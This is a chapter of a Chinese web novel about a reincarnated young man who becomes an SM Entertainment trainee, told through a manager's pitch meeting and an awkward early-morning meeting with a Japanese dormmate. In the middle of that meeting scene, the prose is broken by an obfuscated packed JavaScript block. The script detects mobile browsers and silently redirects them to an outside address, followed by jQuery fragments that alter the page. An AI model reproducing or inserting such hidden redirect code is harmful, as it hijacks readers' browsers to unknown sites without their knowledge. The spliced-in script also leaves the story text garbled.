一
金英智将准备好的资料投屏到会议室的大屏幕上。
“金英智组长，这是？”
说话的是视觉艺术组的组长，手里还端着咖啡，目光落在那张简历照片上——一张清秀的亚洲男孩的脸，证件照，笑得有点拘谨。
“除了刚刚说的孩子以外，还有一个想推荐的练习生。”金英智说，“进公司刚一周。”
会议室里坐着的七八个人都抬起了头。
一周？
视觉设计组的组长长放下咖啡杯，第一反应就是看向简历上的照片——这是职业习惯，看人先看脸。
“visual不错。”她眯着眼睛端详了一下，“这种长相可以适配很多风格。骨相也可以，上镜应该挺能打……嗯，眼睛好看。”
旁边另一位男性负责人翻了翻手里的资料，眉头微皱：“才进公司一周？是不是太短了？还有……美籍华裔？”他抬头看向金英智，“这个组合是要面向日本市场的，有必要加入欧美国籍的成员吗？”
金英智没有急着回答。
她等所有人都把问题抛出来之后，才不紧不慢地打开电脑上的另一个文件。
“他的面试视频，”她说，“大家可以先看一下。”
会议室的大屏幕亮了。
昏暗的房间里，所有人的目光都聚焦过去。
视频里的男孩站在练习室中央。
是SM惯常的镜头测试流程——正面，侧面，各个角度的特写。镜头冷冰冰地扫过那张脸，乍看只是有点清秀，好看，但又似乎没什么特别。毕竟在座的这些人，每天看过的好看孩子太多了，审美阈值早就被拉到了天花板。
但当镜头固定在半身，开始进行简单提问的时候，有什么东西开始变得不一样了。
镜头拉近。
那双眼睛就这样撞进所有人的视线里。
眼尾微微上翘，睫毛浓密得像刷过一层墨。最要命的是那双眼睛里有光——不是灯光反射的那种，是真正的、从里面透出来的光。闪闪发亮，让人不自觉地想要一直看着，想要知道他在想什么。
隐隐的，有点勾人。
鼻梁不算高，但胜在鼻头小巧略翘，中和了那双眼睛带来的攻击性。嘴唇偏厚，让整张脸的气质变得复杂起来——成熟又单纯，性感又可爱。
视觉组组长不自觉地在笔记本上划了一笔。
好看又迷人，重要是还耐看。
是那种一出现在镜头里，就会让人移不开眼的长相。
下意识，她开始想象这个孩子和其他人站在一起的画面。和SION？和YUSHI？
应该不错。
视频里的人开始唱歌了。
会议室里的空气安静了一秒。
金英智看着其他人的表情变化，嘴角微微翘起。
好看的孩子很多，SM最不缺的就是好看的孩子。
跳舞好也很重要，但那是可以通过大量练习来弥补的——一个组合里，跳舞好的有一两个就够了，其他的只要不拉垮就可以。
但唱歌不一样。
唱歌是需要天赋的。
唱得好的人很多，会飙高音的也很多。但能让人“听进去”的，就想要继续听的，太少。
而屏幕里的人，开口的一瞬间，就像夏日一阵凉爽的微风，一下子吹进了这间沉闷的会议室。
所有人的耳朵都变得灵敏了。
听得更清了。
被带入到歌曲的氛围里了。
舞蹈视频播放的时候，有人甚至不自觉地往前倾了倾身——意犹未尽。
怎么就结束了？
金英智这才开口：“他没有系统学过唱歌和跳舞。这是他进公司一周后拍的视频。虽然都是基础动作，但老师反馈说他的肢体协调性很好，只是刚起步，体力和力量还比较弱。”
她顿了顿。
“但我认为，他的可塑性很高。”
会议室里没人说话。
“与其让他按部就班地训练，不如放到节目里试一试。是很有天赋和星味的孩子，参加这个节目，可能会让他成长得更快。”金英智把最后一张PPT切出来——是那个男孩和另外几个练习生的并排对比图，“视觉上，他和SION、YUSHI站在一起的效果，应该不会差。”
她看向刚才质疑国籍的那位负责人。
“至于国籍问题……虽然是华裔，但拿的是美国护照，在日本活动受到的政治影响不大。而且，”她笑了一下，“增加队伍的国际化可能性，不是什么坏事。比起纯欧美长相的练习生，他的整体气质更亚洲，放在组合里也不会突兀。”
会议当然不会这么顺利就按她的想法走。
但金英智做这一行太久了。
她知道什么时候该坚持，什么时候该让步。
最后她达到了目的。
散会后，她站在窗边，看着手机里那张简历照片。
做她这个职业的，没有什么比挖掘到原石、又看着他们在舞台上闪闪发亮更有成就感的事了。
希望这孩子，不要辜负她的期望。
---
二
论一觉醒来，成为SM练习生是什么感受？
——说实话，感觉还挺好的。
LIAM边想，这句话就在脑子里出现，每一次重复都更加真心。
首先是变年轻了。上辈子二十七，这辈子十九，白捡八年。虽然没能早到可以赶上他所知的经济发展的创业热潮，但重来的青春，谁有不喜欢呢？
长相是原有基础的升级版2.0。没有太违和，但就是变好看了。他很满意。
最重要的是——根据这具身体的记忆，这辈子不仅名字一样，连家庭情况都和上辈子差不多。父母移民美国，高中毕业后他参加了SM的全球选拔，来到韩国，进了公司。和家里的关系现在处于“三不管”状态：互不联系，客客气气。
简直不要太好。
这一点也让LIAM更加确定，这应该不是重生，而是平行时空。
身体协调性一如既往的好，最重要的是歌声变好听了。第一次从手机里听到自己的录音时，他循环播放了五遍。
难以想象自己能唱出如此天籁之音，好吧，有点夸张了，但就是这么喜欢。
让人开心的事情太多了，以至于“变成男生”这一点，都没那么难以接受了。
只不过没想到会进SM——上辈子他也有追星，不过喜欢的大部分是YG家的组合，SM家的组合，虽然偶尔会听歌，但能说喜欢的也只有东方神起、BoA和NCT。
而且如果真的要当工作的话……SM压榨艺人听说很严重啊。
算了。
进公司能不能出道还是另一码事。
LIAM感觉自己对出道的渴望没有那么强。反而是“没考大学就去当练习生”这件事，让他内心隐隐焦躁不安。上辈子种花家的本能，总感觉没考大学怪怪的。
但现在也算公费学习各种课程，还不错。私下再看看备考好了。
话说美国大学的学费好贵，上得起吗？
到时候看看有没有渠道申请中国留学好了。要不然当个翻译也不错。
LIAM是个想法很发散的人。
凌晨四点，宿舍里一片漆黑。耳边是上铺传来的呼吸声。
白天练歌，下午练舞。身体明明已经很累了，大脑却越想越清醒。
他闭着眼睛，视线里一片漆黑。
睡不着啊。
话说我现在还会长身体吗？男生的话还是要高一点才好看吧。
我现在多高来着？
---
三
进公司的第一天，LIAM就从工作人员那里得知SM内部正在做一个出道选秀节目，要选拔NCT的日本小分队。
同宿舍的其他三个练习生都参加了。
应该都是日本人，年纪不大的样子。
为什么说“应该”呢？因为LIAM住进来快一周，但还几乎没跟他们打过照面。
他们早出晚归，而LIAM不在一个楼层练习，又刻意错开作息。
加上他有点社恐——还没习惯男生的身份，住在男生宿舍这件事本身就让他很有负担。
所以早上他会在他们起床前就早早就出门。晚上则是早早洗漱上床，有时候在客厅听到门口传来脚步声，就立刻闪回房间，躺下，转身朝内，随时准备装睡。
像什么在家偷玩游戏怕被父母发现的小孩。
不过，这些日本小孩都挺有礼貌的。
每次晚上看到他还在床上，都会尽量压低声音。而且虽然都是男生，卫生习惯都还不错——除了刚回来会有汗味，整个宿舍味道不大。
很符合他对日本男生的刻板印象：礼貌，干净。
就是不知道是不是个个穿搭潮人、头小鼻梁高，跳舞童子功。
Liam有些好奇，但不多。
NCT的日本分队啊。
上辈子好像听说过，但他没太关注，NCT他只关注梦队去了。
如果他们会出道的话，我是不是该提前要签名合照什么的，我还没遇到过名人呢。
LIAM看了眼手机——凌晨五点。
算了，直接起来吧。
今天一定要记得买耳塞。一直戴着耳机睡觉，耳朵太痛了。
他悄悄起身。卧室窗帘遮光性很好，屋内一片漆黑，上铺的孩子也还在睡梦中。
凭借手机屏幕的光亮，他轻轻拿起放在床尾的包，慢慢扭开门把手。
来到客厅就可以稍微放松点了。
他一边在心里规划，一边往洗手间走：洗漱，换衣服，背上双肩包，换鞋，出门。
宿舍里有厨房，可以做早饭，但时间太早了，怕吵到人，LIAM都是去便利店随便买点面包解决。
啊，好想念豆浆油条。
这里离中华街太远了。
他一边刷牙，一边内心遗憾。
水流的声音太大，他没听到房间开门的声音。
所以当他洗漱完，走到客厅准备拿背包的时候，走进才看到沙发上有缩成一团的黑色物体。
作为一名超级大近视，LIAM原地呆住几秒，思考刚刚出来沙发上有这东西吗？然后就看到它突然动了一下——
LIAM吓得一个激灵，腿一软，直接坐在地上。
……是人啊。
---
四
前田陆在等着用洗手间。
他睡梦中热醒，迷迷糊糊想去上厕所，发现有人在里面。就回沙发上躺着等一会儿，躺着躺着又睡过去了。
听到开门的声音，他缓慢准备起身，就看到一个白色身影靠近，突然扑通一声、白色色块向下移动。
啊，是经纪人哥哥说的那个前几天搬进来、一直没碰面的新练习生。
看这样子，是被他吓到了。
前田陆一下子清醒过来，连忙上前扶他。
“大丈夫ですか？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363201|199772||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
（你没事吧？）
“大丈夫。”
LIAM下意识用日语回答，借着对方的力站起来，对方体温很高，被握住的地方隐隐发烫。
大脑还没反应过来发生什么，心脏已经仿佛冲刺了八百米，极速跳动。血液加速循环，LIAM感觉自己的脸烧起来了。
看着眼前人担忧的表情，他下意识低头，不由自主地抬手捂住脸，后退几步，后知后觉。
啊，真的太丢脸了。
“ごめんね、ここにいたからびっくりしたよね。”（对不起啊，是我在这儿吓到你了吧。）前田陆有点紧张。
“Emmm.”LIAM边说边摇头，“私、知らない、ここに、人がいる。”（不会，我，不知道，这里，有人。）
LIAM努力调动自己从动漫里学的、会的所有日语单词——这大概是他人生中最尴尬的时刻了吧。
前田陆想起来之前经纪人说过，这位新来的练习生不是日本人，是美国来的。
好像是会说点日语，虽然不成句子。但他也大概明白对方的意思。
只是他不会说英语啊。
两人四目相对。
都想说点什么，但嘴巴阿巴阿巴张了半天，就是没声。
看着眼前少年一脸稚嫩，再想象从第三视角看他们的样子，LIAM突然笑出来了。
空气中尴尬的气息一下子就消失了。
前田陆愣愣地看着那双突然笑弯的眼睛，也不自觉地跟着笑。
LIAM想，真的都还是小孩。也不知道成年了没有。
之前自己也不知道在紧张什么。
想到对方是个孩子之后，之前担心的社交压力一下子就减轻了许多。
他想主动说点什么，但语言受限，一时间想不到合适的表达。
“Are you going to use the toilet？”他小小声地问。
看到对方有些茫然的样子——OK，英语沟通失败。
LIAM想了想，用手指向洗手间：
“Ah！どぞどぞ。”（请请请。）
然后就看到对方眼睛慢慢睁大、人中拉长，一下子扭头憋笑。
……这是什么表情，他有这么好笑吗？
LIAM真的彻底不紧张了。
明明还不知道是双方第一次见面，他连对方叫什么都还不知道，但莫名感觉已经熟起来了是怎么回事。
他不知道该说什么好，想赶紧随便说点什么结束这一切，然后就出门吧。
“D-b-u-e-t，Fighting！がんばってください！”（出道，加油！请加油！）
LIAM边说边下意识双手握拳，放在身前。
前田陆只觉得眼前这个人说日语太可爱了。
配上认真的表情。
他笑着，不自觉地说：
“あ、ありがとう。”（啊，谢谢。）
“じゃ、今、いてきます。”（那，现在，我出门啦。）
LIAM弯腰把刚才要拿的双肩包背上，一副等对方回应就马上准备say goodbye的样子。
前田陆看着他背书包的样子——也很可爱。
愣愣地配合点点头：
“いってらっしゃい。”（路上小心。）
---
五
走出门，手机显示5:30。
LIAM想，刚刚10分钟不到的事情感觉像过了一个小时那么久。
其实也没什么，就是不在预料中，太尴尬了。
啊啊啊啊啊，感觉自己刚刚的表现显得人不太聪明啊。
LIAM加快步伐。
算了，这种事情往往都是当事人很在意，在别人看来应该也没什么，很快就忘记了。
一路上，他努力自我安慰。
此时的LIAM还不知道，这只是一个开始。
今天这一天，注定是不寻常的一天。
---
六
公司的练习室几乎24小时都有人。只是未成年的孩子们基本都会被要求晚上早点回去休息。但如果你早上能早早来，也不会有人阻止。
以上是LIAM的观察结果。
一般来说，进公司要先去办公室找管理员报道，顺带上交手机——据说是为了让大家可以集中练习，顺带降低实时泄露信息的风险。
但由于他的韩语还比较差，而公司负责翻译的工作人员不是随时都在，为了方便使用翻译软件沟通，所以他被允许可以随身携带手机。
而他目前还十分沉浸在学舞的快乐中，手机几乎也不怎么玩，所以也没差。
“辛苦了，努那，早上好。”他推门进办公室，跟值班的姐姐打招呼。
“来得真早啊，LIAM。”
其实大部分公司职工跟他的上辈子一样大。但在这里，练习生都喊“努那”“欧巴”，没人喊职称。LIAM也就入乡随俗跟着喊。
他还没习惯自己在别人眼里是个刚成年的身份。
“对了，”值班姐姐抬起头，“组长让你一会儿八点到她办公室。”
“?。”（好。）
什么事？
昨天周日，是LIAM进公司后第一次评估。难道是他表现太差，现在要被清退吗？
但当时感觉工作人员和老师的反应都还不错。
算了。
既来之则安之。
---